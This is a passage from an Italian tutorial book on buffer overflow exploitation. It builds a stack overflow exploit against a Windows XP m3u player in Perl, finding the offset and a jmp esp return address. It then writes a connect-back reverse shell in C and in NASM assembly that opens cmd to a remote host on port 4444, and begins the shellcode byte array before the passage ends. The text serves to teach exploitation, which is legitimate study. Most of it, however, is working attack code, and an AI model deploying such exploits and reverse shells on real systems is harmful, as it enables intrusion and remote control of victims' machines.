Quando confermiamo, il programma carica il contenuto del file in memoria, il debugger si fermerà
su un avviso di “access violation”, dato che EIP punterà a 0x41414141, come sapete, significa
che l’indirizzo di ritorno della funzione è stato sovrascritto e l’esecuzione è saltata su una
locazione corrotta dal nostro file; come si vede dal debugger:
Se modifichiamo il nostro script perl in modo da utilizzare una stringa mista con ‘A’ e ‘B’,
andando per tentativi, è possibile scoprire l’esatto indirizzo al quale si trova il puntatore al
prossimo indirizzo di ritorno dalla funzione attuale.
Esistono poi alcuni strumenti all’interno del framework metasploit che possono tornare utili.
Per questo caso, uno è lo script pattern_create.rb l’altro pattern_offset.rb, vanno utilizzati
in coppia. Il primo genera un buffer con sequenze univoche. Ciò significa che sovrascrivendo
l’EIP salvato il debugger si fermerà su di un byte il quale fungerà da indice per stabilire la
distanza tra il buffer e l’EIP salvato. Questo compito è infatti risolto dal secondo script una
volta in possesso del valore sul quale il registro EIP si è fermato. Un esempio di uso può
essere il seguente:
C:\Programmi\Rapid7\framework\msf3\tools>pattern_create.rb 8000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4A … [8000 byte]
Inserisco il buffer in uno script di questo tipo: (il numero 26000 è stato trovato andando per
tentativi, ovvero aumentando/diminuendo la lunghezza della stringa nel file, alla ricerca di una
misura critica che facesse crashare l’applicazione. Questi script sono utili in quanto ci
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 142 di 193
evitano di aumentare la stringa un byte alla volta)
my $file= "crash.m3u";
my $junk= "Aa0Aa1A ...
my $pattern= "Put pattern here”;
open($FILE,">$file");
print $FILE $junk.$pattern;
close($FILE);
print "Create crash file succesfully";
Eseguo il programma caricando il mio file, prendo nota del valore trovato in EIP, lo coverto in
ASCII e utilizzo il secondo script come segue:
C:\Programmi\Rapid7\framework\msf3\tools>pattern_offset.rb A5dA 8000
105
Sul mio sistema windows XP SP3 Italiano, ho determinato dopo alcuni (noiosi) tentativi che la
distanza dal mio buffer all’indirizzo di ritorno è 26105 byte. Questa è il numero di byte minimi
necessari per sovrascrivere la locazione critica.
Allora il mio script può cambiare ancora in:
my $file= "crash.m3u";
my $junk= "A" x 26105;
my $eip= "\x00\x0f\xf7\x30"; # Buffer address
my $pattern= "C" x 1024;
open($FILE,">$file");
print $FILE $junk.$eip.$pattern;
close($FILE);
print "Create crash file succesfully";
Avete individuato il problema?
L’indirizzo che possiamo utilizzare per far saltare EIP sul buffer contiene un byte nullo. Non
possiamo utilizzarlo, in quanto la copia si arresterebbe a quel punto, lasciando indietro la
shellocode.
Occorre trovare un modo alternativo.
Se guardiamo bene nel debugger la finestra “Exutable modules”, notiamo che le DLL di sistema
vengono caricate sempre agli stessi indirizzi in memoria (siamo su XP sp3, non è così su sistemi
successivi).
Allora sfruttando il fatto che la shellcode risulterà puntata da ESP (si ricordi lo stato dei
registri; ESP puntava al buffer)
potremmo pensare di cercare in un modulo eseguibile l’istruzione (che sarà statica) “jmp esp”. E
utilizzare il suo indirizzo di memoria esente da byte nulli per sovrascrivere la locazione. Vari
strumenti ci possono aiutare nella ricerca, in primis windbg, il quale possiede la funzione
“ricerca” relativa a istruzioni o opcode. Oppure possiamo utilizzare vari script plugin per
Immunity debugger, uno di questi è ‘pvefindaddr’ di Peter Van Eeckhoutte.
Questi strumenti si trovano facilmente facendo una ricerca in internet.
Allora il mio script sarà:
my $file= "crash.m3u";
my $junk= "A" x 26105;
my $eip= "\x53\x93\x3a\x7e"; # Jmp from muodule to ESP
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 143 di 193
my $int= “\x90\x90\x90\x90\x90\x90\x90\xcc”;
my $pattern= "C" x 1024;
open($FILE,">$file");
print $FILE $junk.$eip.$int.$pattern;
close($FILE);
print "Create crash file succesfully";
l’indirizzo 0x7e3a9353 punta ad una istruzione jmp verso il registro ESP in USER32.dll, che nel
mio caso, è caricata sempre allo stesso VA.
Eseguendo il programma con il file prodotto, mi aspetto che EIP si fermi sull’interrupt ‘INT3’
inserito dopo aver eseguito i NOP.
Infatti è proprio ciò che si verifica:
Ora ci basta sostituire la variabile ‘$int’ con un payload valido.
Nei precedenti capitoli abbiamo visto come costruire shellcode di attacco in ambiente Linux. Il
maggior risultato che è possibile ottenere in questo frangente, è il controllo del sistema.
Quindi riuscire ad installare in qualche maniera, una backdoor sull’host attaccato. Nel caso di
linux si trattava di eseguire una shell ‘/bin/sh’ direzionando i suoi stream standard su un
socket TCP appositamente creato.
Anche nel caso di windows le cose non cambiano di molto. L’unica differenza è che il codice
necessario, essendo windows più complesso, sarà notevolmente più lungo. Avremo perciò una
shellcode di molti byte.
Come abbiamo visto, per prima cosa è bene scrivere in C, il programma che abbiamo in mente, in
modo tale che ci aiuti a capire poi, come costruire il programma in linguaggio macchina.
Windows possiede due tipi di librerie socket. Noi andremo ad utilizzare la seconda versione. Il
codice si trova nella dll di sistema ‘ws2_32.dll’.
Prima di vedere il codice, dobbiamo chiarire le strade percorribili che vanno per la maggiore.
Sono essenzialmente due, a seconda dei casi l’una è preferibile all’altra e viceversa.
La decisione viene presa a seconda di come è impostato il firewall sul sistema obiettivo.
Un firewall può filtrare le connessioni dall’esterno verso l’interno, il contrario, oppure in
entrambi i sensi impedendo qualsiasi traffico su quella porta. In molti casi è necessario
impostare questi dispostivi in modo tale che accettino dati dall’esterno verso un certa porta
solo se la connessioni è stata iniziata da un pc locale. In questo caso quello he ci occorre è
una shell “connect-back”. Ciò significa che il codice, una volta eseguito si connetterà
dall’interno della rete in questione verso noi. In questo modo il firewall permetterà il
transito dei dati. Se invece ci sono porte accessibili, si può ricorrere alla più standard,
“port-binding” shell. Essa si mette in ascolto su una certa porta in attesa di una connessione.
Questa si presta meglio ad essere impostata come permanente, perché, come un server, può
dedicare un nuovo processo per ogni nuova connessione in arrivo. Ma non è comunque strettamente
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 144 di 193
necessario. Questo lo abbiamo già visto nel caso di linux in uno dei capitoli precedenti.
Per non ripetere lo stesso esempio, vediamo come costruire la backdoor “connect-back” in C; nel
linguaggio di alto livello, è relativamente semplice da fare;
--------- ConnectBack.c ------------------------
/*
* Connect-back shell Windows XP pro 32 Bit SP3
* Connect back to port 4444
*/
#include <windows.h>
#include <winsock2.h>
/*
* Close socket and free resources
*/
void ClearAndExit(SOCKET sock)
{
if(sock != 0) {
closesocket(sock);
}
WSACleanup();
ExitProcess(0);
}
/*
* Program entry point
*/
int main(void)
{
// Network structures
WSADATA wsaData;
SOCKET Localsd;
struct sockaddr_in remote_attacker;
// Process structures
STARTUPINFOA ProcessProperties;
PROCESS_INFORMATION ProcessInfo;
// Init socket
WSAStartup(MAKEWORD(2,2),&wsaData);
if((Localsd = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,
(unsigned int)NULL, (unsigned int)NULL)) == INVALID_SOCKET) {
ClearAndExit(0);
}
// Fill sockaddr_in structure
remote_attacker.sin_family = AF_INET;
remote_attacker.sin_addr.s_addr = inet_addr("192.168.0.33");
remote_attacker.sin_port = htons(4444);
// Connect back to attacker
if(WSAConnect(Localsd, (struct sockaddr*)&remote_attacker,sizeof(remote_attacker),
NULL,NULL,NULL,NULL) == SOCKET_ERROR) {
ClearAndExit(Localsd);
}
// Prepare process
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 145 di 193
ZeroMemory(&ProcessProperties,sizeof(ProcessProperties));
ProcessProperties.cb = sizeof(ProcessProperties);
ProcessProperties.dwFlags = STARTF_USESTDHANDLES;
// Std streams redirection
ProcessProperties.hStdInput = ProcessProperties.hStdOutput =
ProcessProperties.hStdError = (HANDLE)Localsd;
// Execute prompt
CreateProcessA(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&ProcessProperties,&ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
ClearAndExit(Localsd);
return 0;
}
--------- ConnectBack.c END ------------------------
Possiamo testare il programma utilizzando netcat e ponendolo in ascolto sulla porta 4444
otteniamo una back shell al momento dell’esecuzione del programma:
C:\env\nc11nt>nc -v -l -p 4444
listening on [any] 4444 ...
eseguiamo e ...
connect to [192.168.0.33] from wsxp [192.168.0.33] 7181
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\env\Backdoor_code\ConnectBack\bin\Debug>dir /w
dir /w
Il volume nell'unità C non ha etichetta.
Numero di serie del volume: 109B-E88D
Directory di C:\env\Backdoor_code\ConnectBack\bin\Debug
[.] [..] ConnectBack.exe
1 File 30.892 byte
2 Directory 16.934.092.800 byte disponibili
C:\env\Backdoor_code\ConnectBack\bin\Debug>exit
Una volta che abbiamo verificato che il programma non ha errori, possiamo analizzare il codice
macchina generato in modo da sapere come configurare la shellcode, cerco di descrivere le
operazioni con dei commenti:
// [1] La seguente è la funzione per la chiusura del socket e il rilascio delle risorse
allocate.
PUSH EBP ;
MOV EBP,ESP ;
SUB ESP,18 ;
CMP DWORD PTR SS:[EBP+8],0 ; Se il socket != 0
JE SHORT ConnectB.00401332 ; Salta a WSACLEANUP
MOV EAX,DWORD PTR SS:[EBP+8] ; altrimenti sposta in EAX il socket
MOV DWORD PTR SS:[ESP],EAX ; -> __in SOCKET sock
CALL <JMP.&WS2_32.closesocket> ; closesocket()
SUB ESP,4 ; Incremento per la chiamata
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 146 di 193
CALL <JMP.&WS2_32.WSACleanup> ; WSACleanup()
MOV DWORD PTR SS:[ESP],0 ; Sposta 0, il valore di ritorno, nello stack
CALL <JMP.&KERNEL32.ExitProcess>; ExitProcess()
LEA ECX,DWORD PTR SS:[ESP+4] ;
AND ESP,FFFFFFF0 ;
PUSH DWORD PTR DS:[ECX-4] ;
Questo è l’entry point del programma
PUSH EBP ;
MOV EBP,ESP ;
PUSH ECX ;
SUB ESP,234 ; Alloca memoria per le variabili locali
CALL ConnectB.00401950 ; MACRO [non riporto il codice]
LEA EAX,DWORD PTR SS:[EBP-19C] ; Viene recuperato l’oggetto WSADATA
MOV DWORD PTR SS:[ESP+4],EAX ; -> __out LPWSADATA lpWSAData
MOV DWORD PTR SS:[ESP],202 ; -> __in WORD wVersionRequested
CALL <JMP.&WS2_32.WSAStartup> ; WSAStartup()
SUB ESP,8 ; Allocazione per gli argomenti di WSASocket
MOV DWORD PTR SS:[ESP+14],0 ; -> __in DWORD dwFlags MOV DWORD PTR SS:[ESP+10],0 ; -> __in GROUP g
MOV DWORD PTR SS:[ESP+C],0 ; -> __in LPWSAPROTOCOL_INFO lpProtocolInfo
MOV DWORD PTR SS:[ESP+8],6 ; -> __in int protocol
MOV DWORD PTR SS:[ESP+4],1 ; -> __in int type
MOV DWORD PTR SS:[ESP],2 ; -> __in int af
CALL <JMP.&WS2_32.WSASocketA> ; WSASocketA()
SUB ESP,18 ; Allocazione per la chiamata a funzione
MOV DWORD PTR SS:[EBP-C],EAX ; Viene salvato il socket in [EBP-C]
CMP DWORD PTR SS:[EBP-C],-1 ; Qui viene controllato il valore di ritorno
JNZ SHORT ConnectB.004013C1 ; Se non è errore salta la routine seguente
MOV DWORD PTR SS:[ESP],0 ; Altrimenti va alla routine di errore
CALL ConnectB.00401318 ; qui
Prosegue con la preparazione della struttura sockaddr_in
MOV WORD PTR SS:[EBP-1AC],2 ; Famiglia IPv4
MOV DWORD PTR SS:[ESP],ConnectB.00403024 ; ASCII "192.168.0.33" allocata staticamente
CALL <JMP.&WS2_32.inet_addr> ; inet_addr()
SUB ESP,4 ; Allocazione per la prossima chiamata a funzione
MOV DWORD PTR SS:[EBP-1A8],EAX ; Indirizzo ritornato convertito
MOV DWORD PTR SS:[ESP],115C ; Numero di porta
CALL <JMP.&WS2_32.htons> ; htons()
SUB ESP,4 ; Altri 4 byte per la prossima chiamata
MOV WORD PTR SS:[EBP-1AA],AX ; Sposto il numero di porta convertito
LEA EAX,DWORD PTR SS:[EBP-1AC] ; Ora sposto il puntatore all’intera struttura in EAX
MOV DWORD PTR SS:[ESP+18],0 ; -> __in LPQOS lpGQOS
MOV DWORD PTR SS:[ESP+14],0 ; -> __in LPQOS lpSQOS
MOV DWORD PTR SS:[ESP+10],0 ; -> __out LPWSABUF lpCalleeData
MOV DWORD PTR SS:[ESP+C],0 ; -> __in LPWSABUF lpCalleeData
MOV DWORD PTR SS:[ESP+8],10 ; -> __in int namelen
MOV DWORD PTR SS:[ESP+4],EAX ; -> __const struct sockaddr *name
MOV EAX,DWORD PTR SS:[EBP-C] ; viene recuperate il socket dalla posizione salvata
MOV DWORD PTR SS:[ESP],EAX ; -> __SOCKET s
CALL <JMP.&WS2_32.WSAConnect> ; WSAConnect()
SUB ESP,1C ; Alloco memoria per la prossima chiamata
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 147 di 193
CMP EAX,-1 ; Controlla il valore di ritorno di Connect
JNZ SHORT ConnectB.00401445 ; Se non c’è errore, salta alla routine successiva
MOV EAX,DWORD PTR SS:[EBP-C] ; altrimenti passa il socket
MOV DWORD PTR SS:[ESP],EAX ;
CALL ConnectB.00401318 ; alla routine di chiusura
Qui viene azzerata la struttura PROCESS_INFORMATION
MOV DWORD PTR SS:[ESP+8],44 ; La dimensione di STARTUPINFO
MOV DWORD PTR SS:[ESP+4],0 ; Valore di azzeramento
LEA EAX,DWORD PTR SS:[EBP-1F0] ; Viene recuperato il puntatore
MOV DWORD PTR SS:[ESP],EAX ; Il primo argomento di memset
CALL <JMP.&msvcrt.memset> ; memset()
Questa parte si occupa di preparare la struttura STARTUPINFO e di chiamare CreateProcess().
La struttura STARTUPINFO:
typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
Mentre la struttura PROCESS_INFORMATION è la seguente:
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
MOV DWORD PTR SS:[EBP-1F0],44 ; DWORD cb - Dimensione della struttura stessa
MOV DWORD PTR SS:[EBP-1C4],100 ; DWORD dwFlags – flag STARTF_USESTDHANDLES
MOV EAX,DWORD PTR SS:[EBP-C] ; Socket in EAX
MOV DWORD PTR SS:[EBP-1B0],EAX ; HANDLE hStdInput – Standard input per il nuovo processo
MOV EAX,DWORD PTR SS:[EBP-1B0] ; Il socket viene rispostato in EAX
MOV DWORD PTR SS:[EBP-1B4],EAX ; HANDLE hStdOutput – Standard output
MOV EAX,DWORD PTR SS:[EBP-1B4] ; Socket in EAX
MOV DWORD PTR SS:[EBP-1B8],EAX ; HNALDE hStdError – Standard error
LEA EAX,DWORD PTR SS:[EBP-200] ; L’indirizzo della struttura PROCESS_INFORMATION è
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 148 di 193
MOV DWORD PTR SS:[ESP+24],EAX ; l’ultimo argomento della per CreateProcess
; -> __out LPPROCESS_INFOMRATION lpProcessInformation
LEA EAX,DWORD PTR SS:[EBP-1F0] ; L’indirizzo della struttura STARTUPINFO in EAX
MOV DWORD PTR SS:[ESP+20],EAX ; -> __in LPSTARTUPINFO lpStartupInfo
MOV DWORD PTR SS:[ESP+1C],0 ; -> __in_opt LPCTSTR lpCurrentDirectory
MOV DWORD PTR SS:[ESP+18],0 ; -> __in_opt LPVOID lpEnvironment
MOV DWORD PTR SS:[ESP+14],0 ; -> __in DWORD dwCreationFlags
MOV DWORD PTR SS:[ESP+10],1 ; -> __in BOOL bInheritHandles
MOV DWORD PTR SS:[ESP+C],0 ; -> __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes
MOV DWORD PTR SS:[ESP+8],0 ; -> __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes
MOV DWORD PTR SS:[ESP+4],ConnectB.004030> ; -> __inout_opt LPTSTR lpCommandLine (“cmd”)
MOV DWORD PTR SS:[ESP],0 ; -> __in_opt LPCTSTR lpApplicationName
CALL <JMP.&KERNEL32.CreateProcessA> ; CreateProcessA()
SUB ESP,28 ;
MOV EAX,DWORD PTR SS:[EBP-200] ; Indirizzo di PROCESS_INFOMRATION in EAX
MOV DWORD PTR SS:[ESP+4],-1 ; -> __in DWORD dwMilliseconds (Infinito)
MOV DWORD PTR SS:[ESP],EAX ; -> __in DWORD hHandle
CALL <JMP.&KERNEL32.WaitForSingleObject> ; WaitForSingleObject()
SUB ESP,8 ;
MOV EAX,DWORD PTR SS:[EBP-C] ; Socket in EAX
MOV DWORD PTR SS:[ESP],EAX ; Socket
CALL ConnectB.00401318 ; Viene chiamata la routine per la chiusura [1]
MOV EAX,0 ;
MOV ECX,DWORD PTR SS:[EBP-4] ;
LEAVE ;
LEA ESP,DWORD PTR DS:[ECX-4] ;
RETN ;
Spero di aver commentato il codice generato dal compilatore in modo esauriente. Se avete notato,
ci sono più occasioni dove tale codice può essere ottimizzato.
Dunque ora serve recuperare le cose che abbiamo detto in precedenza ed unire le conoscenze per
scrivere il codice assembly completo.
Ricordiamoci che occorrerà trovare i moduli che ci occorrono, caricarli e risolvere gli hash
delle funzioni.
Procediamo con il listato assembly, commento nuovamente ogni riga, in inglese, essendo il
sorgente. Lo troverete piuttosto lungo rispetto ai precedenti.
--------- ConnectBack.asm ------------------------
[section .text]
[BITS 32]
; ==============================================================================
;
; Connect Back Windows XP professional 32 bit working on SP 1,2,3.
; Matteo Tosato 2011
;
; ==============================================================================
global _main
_main:
jmp startup_bnc ; jump to main, skip find_kernel32 and find_function
; ==============================================================================
; ==================== find_kernel32 function ==================================
; Finding kernel32.dll address base
find_kernel32: ; [6]
push esi ; Save register
xor eax, eax ; Set EAX to 0
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 149 di 193
mov eax, [fs:eax + 0x30]; Save address of BEP process struct in EAX
mov eax, [eax + 0x0c] ; Extract the pointer to the PEB_LDR_DATA
mov esi, [eax + 0x1c] ; Extract the first entry in the initialization order module list
lodsd ; Grab the next entry in the list with points to kernel32.dll
mov eax, [eax + 0x8] ; Grab the module base address and store it in EAX
pop esi ; Restore ESI register to initial value
ret ; Return to caller
; Kernel32.dll base address is in EAX
; ==============================================================================
; ==============================================================================
; ==================== find_function ===========================================
; Resolving API symbol
find_function: ; [8] (At this point hash function and kernel32 b. address is on the top of the stack)
pushad ; Save all register
mov ebp, [esp + 0x24] ; Store the base address of module that is being loaded from EBP
mov eax, [ebp + 0x3c] ; Skip the DOS header
mov edx, [ebp + eax + 0x78] ; The export table is 0x78 bytes from the start of the PE header.
; Extract it and store the relative address in EDX
add edx, ebp ; Make the export table address absolute by adding the base address to it
mov ecx, [edx + 0x18] ; Extract the number of exported items and store it in ECX which will be used as the counter
mov ebx, [edx + 0x20] ; Extract the names table relative offset and store it in EBX
add ebx, ebp ; Make the names table address absolute by adding the base address to it
find_function_loop:
; If ECX is zero then the last symbol has been checked and as such jump to the end of the function.
; If this condition is ever true then the requested symbol was not resolved properly
jecxz find_function_finished
dec ecx ; Decrement the counter
mov esi, [ebx + ecx * 4]; Extract relative offset of the name associated with the current symbol and store it in ESI
add esi, ebp ; Make the address of the symbol name absolute by adding the base address to it
compute_hash:
xor edi, edi ; Zero EDI it will hold the hash value for the current symbols function name
xor eax, eax ; Zero EAX in order to ensure that high order bytes are zero as this will hold the value
; of each character as it walks the symbols name.
cld ; Clear the direction flag to ensure that is increments instead of decrements
; when using the lods instructions.
compute_hash_again: ; (loop until symbols are solved at all)
lodsb ; Load the byte at esi, the current symbol name, into al and increment ESI.
test al, al ; Bitwise test al with itself to see if the end of the string has been reached
; If SF is set the end of the string has been reached. Jump to the end of the hash calculation.
jz compute_hash_finished
ror edi, 0xd ; Rotate the current value of the hash 13 bits to the right
add edi, eax ; Add the current character of the symbol name
jmp compute_hash_again ; Continue looping through the symbol name
compute_hash_finished:
find_function_compare:
cmp edi, [esp + 0x28] ; Check to see if the computed hash matches the requested hash
; If the hashes do not match, continue enumerating the exported symbol list.
; Otherwise, drop down and extract the VMA of the symbol
jnz find_function_loop
mov ebx, [edx + 0x24] ; Extract the ordinals table relative offset and store it in EBX
add ebx, ebp ; Make the ordinals table address absolute by adding the base address to it
mov cx, [ebx + 2 * ecx] ; Extract the current symbols ordinal number form the ordinal table.
; Ordinals are two bytes in size.
mov ebx, [edx + 0x1c] ; Extract the address table relative offset and store it in EBX
add ebx, ebp ; Make the address table absolute by adding the base address to it
mov eax, [ebx + 4 * ecx]; Extract the relative function offset from its ordinal and store it in EAX
add eax, ebp ; Make the function's address absolute by adding the base address to it
mov [esp + 0x1c], eax ; Overwrite the stack copy of the preserved EAX register so that
; when popad is finished the appropriate return value will be set
find_function_finished:
popad ; Restore all-purpose registers
ret ; Return to the caller
; ==============================================================================
; ==============================================================================
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 150 di 193
; ==================== MAIN ====================================================
startup_bnc: ; [1]
jmp startup ; jump to startup
resolve_symbols_for_dll: ; [7]
lodsd ; Load the current function hash stored at ESI into EAX
; [lodsd = 'mov eax, esi; add esi, 4']
push eax ; Push the hash to the stack as the second argument to find_function
push edx ; Push the base address of the DLL being loaded from as the first argument
call find_function ; Resolve symbol
mov [edi], eax ; Save the VMA of te function in the memory location at EDI
add esp, 0x08 ; Restore 8 bytes to the stack for the two arguments
add edi, 0x04 ; Add 4 to EDI to move to the next position in the array that will hold the output VMA's
cmp esi, ecx ; Check to see if ESI matches with the boundary for stopping symbol lookup
; If the two address are not equal, continue the loop. Otherwise, fall through to the ret
jne resolve_symbols_for_dll ; loop
resolve_symbols_for_dll_finished:
ret ; Return to the caller
kernel32_symbol_hashes:
; LoadLibraryA hash
db 0x8e
db 0x4e
db 0x0e
db 0xec
; CreateProcessA hash
db 0x72
db 0xfe
db 0xb3
db 0x16
; ExitProcess hash
db 0x7e
db 0xd8
db 0xe2
db 0x73
ws2_32_symbol_hashes:
; WSASocketA hash
db 0xd9
db 0x09
db 0xf5
db 0xad
; WSAConnect hash
db 0x0c
db 0xba
db 0x2d
db 0xb3
; WSAStartup hash
db 0xcb
db 0xed
db 0xfc
db 0x3b
startup: ; [2]
sub esp, 0x60 ; Allocate 0x60 bytes of space for the use with storing function ptr VMA's
mov ebp, esp ; Use EBP as the frame pointer throughout the code
jmp get_absolute_address_forward ; Jump forward past the middle
get_absolute_address_middle: ; [4]
jmp get_absolute_address_end ; Jump to the end now that the return address has been obtained
get_absolute_address_forward: ; [3]
call get_absolute_address_middle ; Call backwards to push the VMA that points to 'pop esi' into the stack
get_absolute_address_end: ; [5]
;-> trick, POP the absolute address of 'pop esi' instruction in ESI register <-
pop esi ; Pop the return address of the stack into ESI
call find_kernel32 ; Resolve the base address of kernel32.dll by what-ever means
mov edx, eax ; Save the base address of kernel32.dll in EDX
resolve_kernel32_symbols: ; EDX now hold the base address of kernel32.dll
sub esi, 0x26 ; Subtract 0x26 from ESI to point to first entry in the hash table list above.
; This parameter will be used as the source address for resolve_symbols_for_dll.
lea edi, [ebp+0x04] ; Set EDI to the frame pointer plus 0x04.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 151 di 193
; This address will be used to store the VMA's of the corresponding hashes
mov ecx, esi ; Set ECX to ESI
add ecx, 0x0c ; Add 0x0c to ECX to indicate that the stop boundary is 12 bytes past ESI.
; This is determined by the fact that three symbols are being loaded from dll
call resolve_symbols_for_dll ; Resolve all of the requested kernel32.dll symbols
resolve_winsock_symbols: ; [9] now EDX
add ecx, 0x0c ; Add 0x0c to ECX to indicate that the stop boundary for the ws2_32.dll
; is 8 past the current value in ESI.
; This is determined by the fact that three symbols are being loaded from
ws2_32.dll
xor eax, eax ; Zero EAX so that the high order bytes are zero
mov ax, 0x3233 ; Set the low order bytes of EAX to 32
push eax ; Push the null-terminated string '32' into the stack
push 0x5f327377 ; Push the string 'ws2_' into the stack to complete 'ws2_32'
mov ebx, esp ; Save the pointer to 'ws2_32' in ebx
push ecx ; Preserve ecx as it may be clobbered across the function call
push edx ; Preserve edx as it may be clobbered across the function call
push ebx ; Push argument pointer to 'ws2_32'
call [ebp + 0x04] ; Call LoadLibraryA and map ws2_32.dll into process space
pop edx ; Restore
pop ecx ; Restore
mov edx, eax ; Save the base address of ws2_32.dll in EDX
call resolve_symbols_for_dll ; Resolve all of the requested ws2_32.dll symbols
initialize_cmd: ; Build 'cmd' string
mov eax, 0xff757e74 ; Forge 'cmd' form 0xff757e74
sub eax, 0xff111111 ; Obtain 'cmd\0' by a subtraction
push eax ; Push string into the stack
mov [ebp + 0x30], esp ; Saved ptr to cmd away
initialize_networking: ; WSADATA structure will be build on the stack
xor edx, edx ; Zero EDX
mov dh, 0x03 ; Size of WSADATA struct is 0x190
sub esp, edx ; Allocate space (768 bytes), WSADATA is at a safe position
push esp ; Push argument address of WSADATA
push 0x02 ; Push argument version requested
call [ebp + 0x18] ; Call WSAStartup
add esp, 0x0300 ; Restore stack
create_socket:
xor eax, eax ; Set EAX to 0
push eax ; Push argument DwFlags -> NULL
push eax ; Push argument GROUP -> NULL
push eax ; Push argument LPWSAPROTOCOL_INFO
push eax ; Push argument Proto IPPROTO_TCP
push 0x01 ; Push argument Type SOCK_STREAM
push 0x02 ; Push argument Family AF_INET
call [ebp + 0x10] ; Call WSASocket
mov esi, eax ; Save socket in ESI
prepare_sockaddr_in:
push 0x0101017f ; Push loopback address in network byte order
mov eax, 0x5c110102 ; Value for obtain port number and family
dec ah ; Obtain familiy IPv4 value
push eax ; Push structure
mov ebx, esp ; Move address of sockaddr structure in EBX
do_connect:
xor eax, eax ; Zero EAX
push eax ; Push argument LPQOS -> NULL
push eax ; Push argument LPQOS -> NULL
push eax ; Push argument LPWSABUF -> NULL
push eax ; Push argument LPWSABUF -> NULL
push 0x10 ; Push argument Size of sockaddr structure
push ebx ; Push argument sockaddr structure address
push esi ; Push argument SOCKET
call [ebp + 0x14] ; Call WSAConnect
initilize_startupinfo:
xor ecx, ecx ; Zero ECX
mov cl, 0x54 ; Size of STARTUPINFO and PROCESS_INFORMATION structures
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 152 di 193
sub esp, ecx ; Allocate stack space for structures
mov edi, esp ; Save address of STARTUPINFO
push edi ; Preserve EDI
zero_structure:
xor eax, eax ; Zero EAX
rep stosb ; Repeat storing zero at the buffer starting at EDI until ECX is zero
pop edi ; Restore EDI to its original value
initialize_structs:
mov byte [edi], 0x44 ; Set the cb attribute of STARTUPINFO to the size of the structure itself
inc byte [edi + 0x2d] ; Set the STARTF_USESTDHANDLES flag to indicate that std stream should be used
push edi ; Preserve EDI again it will be modified by the stosd
mov eax, esi ; Set EAX to SOCKET descriptor
lea edi, [edi + 0x38] ; Load the effective address of the hStdInput attribute in the struct
stosd ; Set the hStdInput attribute with socket
stosd ; Set the hStdOutput attribute with socket
stosd ; Set the hStdError attribute with socket
pop edi
execute_process:
xor eax, eax ; Zero eax
lea esi, [edi + 0x44] ; Load the effective address of PROCESS_INFORMATION into ESI
push esi ; Push argument pointer to the lpProcessInformation
push edi ; Push argument pointer to the lpStartupInfo
push eax ; Push argument lpStartupDirectory arg as NULL
push eax ; Push argument lpEnvironment
push eax ; Push argument dwCreationFlags
inc eax ; Increment by 1
push eax ; Push argument bInheritHnadles
dec eax ; Decrement EAX back to zero
push eax ; Push argument lpProcessAttributes arg. as NULL
push eax ; Push argument lpProcessAttributes arg. as NULL
push dword [ebp + 0x30] ; Push argument lpCommandLine argument as the pointer to 'cmd'
push eax ; Push argument lpApplicationName as NULL
call [ebp + 0x08] ; Call to CreateProcess
exit_process:
call [ebp + 0x0c] ; Call to ExitProcess
; ==============================================================================
--------- ConnectBack.asm END ------------------------
Il lavoro successivo è compilare ed inserire la shellcode per testarla.
Il solito codice per il test è il seguente:
--------- shellcode_test.c ------------------------
char code[]=
"\xeb\x61\x56\x31\xc0\x64\x8b\x40"
"\x30\x8b\x40\x0c\x8b\x70\x1c\xad"
"\x8b\x40\x08\x5e\xc3\x60\x8b\x6c"
"\x24\x24\x8b\x45\x3c\x8b\x54\x05"
"\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34"
"\x8b\x01\xee\x31\xff\x31\xc0\xfc"
"\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28"
"\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"
"\x8b\x04\x8b\x01\xe8\x89\x44\x24"
"\x1c\x61\xc3\xeb\x2d\xad\x50\x52"
"\xe8\xa8\xff\xff\xff\x89\x07\x83"
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 153 di 193
"\xc4\x08\x83\xc7\x04\x39\xce\x75"
"\xec\xc3\x8e\x4e\x0e\xec\x72\xfe"
